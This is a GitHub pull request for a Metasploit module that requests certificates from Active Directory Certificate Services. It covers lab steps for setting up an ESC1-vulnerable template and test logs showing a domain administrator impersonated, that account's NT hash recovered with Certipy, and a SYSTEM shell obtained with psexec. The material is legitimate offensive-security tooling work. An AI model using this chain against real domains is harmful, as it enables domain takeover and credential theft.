Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module for issuing certificates #16939

Merged
merged 5 commits into from
Aug 30, 2022

Conversation

zeroSteiner
Copy link
Contributor

This adds a module for issuing certificates via Active Directory Certificate Services. Issuing certificates is useful in a few contexts including persistence, ESC1 and as a primitive necessary for exploiting CVE-2022-26923 (coming soon). The resulting PFX certificate file is stored to loot and is encrypted using a blank password. It doesn't look like Ruby supports writing PFX files without encryption, and specifying a password would break compatibility with other tools.

Requires rapid7/ruby_smb#236 to be landed first for the necessary DCERPC definitions and functionality.

This is not blocked by #16938, but the documentation does refer to the queries that are added in there as part of the workflow, so it is related. Without that functionality, the user will just need to know the CA and CERT_TEMPLATE names. Either you'd know them because you set them up in Active Directory, or you'd have obtained them through another tool like Certipy's find command.

Verification

  • Install ADCS on either a new or existing domain controller
    • Open the Server Manager
    • Select Add roles and features
    • Select "Active Directory Certificate Services" under the "Server Roles" section
    • When prompted add all of the features and management tools
    • On the AD CS "Role Services" tab, leave the default selection of only "Certificate Authority"
    • Completion the installation and reboot the server
    • Reopen the Server Manager
    • Go to the AD CS tab and where it says "Configuration Required", hit "More" then "Configure Active Directory Certificate..."
    • Select "Certificate Authority" in the Role Services tab
    • Keep all of the default settings, noting the value of the "Common name for this CA" on the "CA Name" tab (this value corresponds to the CA datastore option)
    • Accept the rest of the default settings and complete the configuration
  • Configure a certificate template to be vulnerable via ESC1
    • Run certtmpl.msc
    • Find the default "User" template, right-click it to duplicate it
    • In the "General" tab, rename the template to ESC1-Test
    • In the "Subject Name" tab, select "Supply in the request", ignore the warning that pops up
    • Hit OK to create the new template
    • Run certsrv.msc
    • Navigate to "Certification Authority (local)" > DC-CA > "Certificate Templates" then right click, and select New > "Certificate Template to Issue"
    • Select ESC1-Test
  • Test the module (for all of these steps, authenticate as a normal domain user)
  • Use the module
  • Set the CA, RHOSTS, SMBUser, and SMBPass options correctly
  • Issue a normal certificate using the default "User certificate template (set CERT_TEMPLATE User`)
    • Test that this certificate allows you to authenticate as the normal user
  • Set the ALT_UPN to a domain administrator, like smcintyre@msflab.local where smcintyre is the domain admin and msflab.local is the DNS domain name
  • Set the CERT_TEMPLATE option to ESC1-Test and run the module
    • Test that this certificate allows you to authenticate as the domain admin

PFX Certificate Validation

Regardless of how the certificate is obtained, the easiest way to validate that it is correct is to use Certipy's auth sub command. The certificate stored in loot by Metasploit should be able to be used to authenticate to the domain controller.

Example showing that a certificate is working, and the hash for user MSFLAB\smcintyre is recovered.

python -m certipy.entry auth -pfx /home/smcintyre/.msf4/loot/20220824125859_default_unknown_windows.ad.cs_829589.pfx -dc-ip 192.168.159.10
Cannot determine Certipy version. If running from source you should at least run "python setup.py egg_info"
Certipy v? - by Oliver Lyak (ly4k)

[*] Using principal: smcintyre@msflab.loca-
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'smcintyre.ccache'
[*] Trying to retrieve NT hash for 'smcintyre'
[*] Got hash for 'smcintyre@msflab.local': aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f

Metasploit can't perform this step natively yet because there's no support for the PKINIT extension when authenticating with Kerberos.

modules/auxiliary/admin/dcerpc/icpr_cert.rb Outdated Show resolved Hide resolved
Comment on lines 213 to 219
ext_asn = OpenSSL::ASN1.decode(OpenSSL::ASN1.decode(ext.to_der).value[1].value)
ext_asn.value.each do |value|
value = value.value
next unless value.is_a?(Array)
next unless value[0]&.value == OID_NTDS_OBJECTSID

return value[1].value[0].value
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Many of these value's are called without the safe navigation operator (&.). Are we sure no NoMethodError will be raised in some corner cases?

modules/auxiliary/admin/dcerpc/icpr_cert.rb Show resolved Hide resolved
@cdelafuente-r7
Copy link
Contributor

Thanks @zeroSteiner ! It looks good to me. I tested against a Windows Server 2019 and verified the certificates are correctly issued. I also checked I could authenticate to the DC.

msf6 auxiliary(admin/dcerpc/icpr_cert) > run verbose=true CA=mylab-DC01-CA-1 RHOSTS=10.0.0.23 smbUser=test smbpass=123456
[*] Running module against 10.0.0.23

[*] 10.0.0.23:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 10.0.0.23:445 - Binding to \cert...
[+] 10.0.0.23:445 - Bound to \cert
[*] 10.0.0.23:445 - Requesting a certificate...
[+] 10.0.0.23:445 - The requested certificate was issued.
[*] 10.0.0.23:445 - Certificate UPN: test@mylab.local
[*] 10.0.0.23:445 - Certificate SID: S-1-5-21-172537306-9459028-4093171872-1110
[*] 10.0.0.23:445 - Certificate stored at: /home/msfuser/.msf4/loot/20220826125445_default_unknown_windows.ad.cs_715771.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) > run verbose=true CA=mylab-DC01-CA-1 RHOSTS=10.0.0.23 smbUser=test smbpass=123456 CERT_TEMPLATE=User
[*] Running module against 10.0.0.23

[*] 10.0.0.23:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 10.0.0.23:445 - Binding to \cert...
[+] 10.0.0.23:445 - Bound to \cert
[*] 10.0.0.23:445 - Requesting a certificate...
[+] 10.0.0.23:445 - The requested certificate was issued.
[*] 10.0.0.23:445 - Certificate UPN: test@mylab.local
[*] 10.0.0.23:445 - Certificate SID: S-1-5-21-172537306-9459028-4093171872-1110
[*] 10.0.0.23:445 - Certificate stored at: /home/msfuser/.msf4/loot/20220826125516_default_unknown_windows.ad.cs_023708.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) > run verbose=true CA=mylab-DC01-CA-1 RHOSTS=10.0.0.23 smbUser=test smbpass=123456 CERT_TEMPLATE=ESC1-Test ALT_UPN=administrator@mylab.local
[*] Running module against 10.0.0.23

[*] 10.0.0.23:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 10.0.0.23:445 - Binding to \cert...
[+] 10.0.0.23:445 - Bound to \cert
[*] 10.0.0.23:445 - Requesting a certificate...
[+] 10.0.0.23:445 - The requested certificate was issued.
[*] 10.0.0.23:445 - Certificate UPN: administrator@mylab.local
[*] 10.0.0.23:445 - Certificate stored at: /home/msfuser/.msf4/loot/20220826125531_default_unknown_windows.ad.cs_021288.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) > loot

Loot
====

host  service  type           name             content               info                    path
----  -------  ----           ----             -------               ----                    ----
               windows.ad.cs  certificate.pfx  application/x-pkcs12  MYLAB\test Certificate  /home/msfuser/.msf4/loot/20220826125445_default_unknown_windows.ad.cs_715771.pfx
               windows.ad.cs  certificate.pfx  application/x-pkcs12  MYLAB\test Certificate  /home/msfuser/.msf4/loot/20220826125516_default_unknown_windows.ad.cs_023708.pfx
               windows.ad.cs  certificate.pfx  application/x-pkcs12  MYLAB\test Certificate  /home/msfuser/.msf4/loot/20220826125531_default_unknown_windows.ad.cs_021288.pfx
❯ python3 -m certipy.entry auth -pfx /home/msfuser/.msf4/loot/20220826125531_default_unknown_windows.ad.cs_021288.pfx -dc-ip 10.0.0.23
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@mylab.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@mylab.local': <redacted>
❯ KRB5CCNAME=administrator.ccache PYTHONPATH=. python3 examples/psexec.py mylab.local/administrator@dc01.mylab.local -target-ip 10.0.0.23 -dc-ip 10.0.0.24 -k -no-pass
Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.0.0.23.....
[*] Found writable share ADMIN$
[*] Uploading file EyZjjnuO.exe
[*] Opening SVCManager on 10.0.0.23.....
[*] Creating service oQdO on 10.0.0.23.....
[*] Starting service oQdO.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2928]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 10.0.0.23.....
[*] Stopping service oQdO.....
[*] Removing service oQdO.....
[*] Removing file EyZjjnuO.exe.....

@cdelafuente-r7 cdelafuente-r7 added module docs blocked Blocked by one or more additional tasks labels Aug 26, 2022
@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Aug 26, 2022

Not a blocker for this PR to land - but could we test this from a machine running OpenSSL 3? i.e. Ubuntu 22.04, or Kali with Ruby 3.04:

~ ruby -r openssl -e 'puts OpenSSL::OPENSSL_LIBRARY_VERSION'
OpenSSL 3.0.3 3 May 2022

Some of Ruby's OpenSSL library calls have broken with OpenSSL 3 - and it'd probably best to verify it works for newer versions of openssl whilst it's fresh in the PR queue 😄

@zeroSteiner
Copy link
Contributor Author

Looks like it's working correctly. Ruby 3.1.2 with OpenSSL 3.0.5 installed via RVM on Fedora.

msf6 auxiliary(admin/dcerpc/icpr_cert) > versions
Ruby:      3.1.2
Framework: 6.2.10-dev-06790556b4

Library Versions
================

  Library                     Version
  -------                     -------
  Dnsruby                     1.61.9
  MetasploitPayloads          2.0.94
  MetasploitPayloads::Mettle  1.0.18
  Net::SSH                    0.1.14
  OpenSSL                     3.0.0
  OpenSSL (library)           OpenSSL 3.0.5 5 Jul 2022
  Rex::MIME                   0.1.7
  RubySMB                     3.1.8

msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.159.10

[*] 192.168.159.10:445 - Requesting a certificate...
[+] 192.168.159.10:445 - The requested certificate was issued.
[*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220829123719_default_unknown_windows.ad.cs_597249.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) > 

@cdelafuente-r7
Copy link
Contributor

Thanks @zeroSteiner ! Everything looks good to me now. I'll go ahead and land it.

@cdelafuente-r7 cdelafuente-r7 added rn-modules release notes for new or majorly enhanced modules and removed blocked Blocked by one or more additional tasks labels Aug 30, 2022
@cdelafuente-r7
Copy link
Contributor

Release Notes

This adds a module for issuing certificates via Active Directory Certificate Services, which is useful in a few contexts including persistence and for some specific exploits. The resulting PFX certificate file is stored to the loot and is encrypted using a blank password.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants